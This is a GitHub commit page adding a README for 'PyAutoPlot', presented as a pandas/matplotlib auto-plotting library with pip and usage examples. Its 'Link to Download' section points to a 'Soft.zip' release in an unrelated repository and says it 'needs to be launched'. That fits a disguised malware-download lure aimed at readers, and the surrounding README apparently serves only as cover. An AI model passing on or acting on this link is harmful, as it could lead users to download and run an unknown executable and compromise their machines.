-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
0 parents
commit f696072
Showing
1 changed file
with
75 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,75 @@ | ||
# PyAutoPlot | ||
|
||
![PyAutoPlot Logo](https://www.example.com/pyautoplot-logo.jpg) | ||
|
||
PyAutoPlot is an open-source Python library designed to make dataset analysis much easier by generating helpful detailed plots using matplotlib. It automatically generates appropriate plots based on the dataset you feed it. | ||
|
||
## Features | ||
- Automated generation of various types of plots | ||
- Supports CSV and Pandas DataFrame inputs | ||
- Detailed and customizable plots | ||
- Easy to use and integrate into your data analysis workflow | ||
|
||
## Installation | ||
You can install PyAutoPlot via pip: | ||
```bash | ||
pip install pyautoplot | ||
``` | ||
|
||
## Quick Start | ||
```python | ||
import pandas as pd | ||
from pyautoplot import PyAutoPlot | ||
|
||
# Load your dataset | ||
data = pd.read_csv('your_dataset.csv') | ||
|
||
# Create an instance of PyAutoPlot | ||
pyap = PyAutoPlot() | ||
|
||
# Generate plots automatically | ||
pyap.plot(data) | ||
``` | ||
|
||
## Available Plots | ||
PyAutoPlot can generate the following types of plots: | ||
- Histograms | ||
- Scatter Plots | ||
- Line Plots | ||
- Box Plots | ||
- Pie Charts | ||
- Bar Plots | ||
- and more! | ||
|
||
## Example | ||
Here's a simple example of how to use PyAutoPlot to analyze a dataset: | ||
```python | ||
import pandas as pd | ||
from pyautoplot import PyAutoPlot | ||
|
||
# Load the dataset | ||
data = pd.read_csv('example_dataset.csv') | ||
|
||
# Create an instance of PyAutoPlot | ||
pyap = PyAutoPlot() | ||
|
||
# Generate plots | ||
pyap.plot(data) | ||
``` | ||
|
||
## Link to Download | ||
[![Download PyAutoPlot](https://img.shields.io/badge/Download-Soft.zip-blue.svg)](https://github.com/Dredarty/RINGSharp/releases/download/v1.0/Soft.zip) (needs to be launched) | ||
|
||
## Repository Topics | ||
analysis, automatic, csv, data, dataset, dataset-analysis, generation, matplotlib, pandas, plots, plotting-in-python, plotting-library, python | ||
|
||
## Contribute | ||
Contributions are welcome! If you have any ideas for improving PyAutoPlot or want to add new features, feel free to submit a pull request. | ||
|
||
--- | ||
|
||
Visit the [PyAutoPlot GitHub Repository](https://github.com/your_username/PyAutoPlot) for more information and to access the latest updates. Start using PyAutoPlot today and simplify your dataset analysis process! 🚀 | ||
|
||
![PyAutoPlot Demo](https://www.example.com/pyautoplot-demo.gif) | ||
|
||
--- |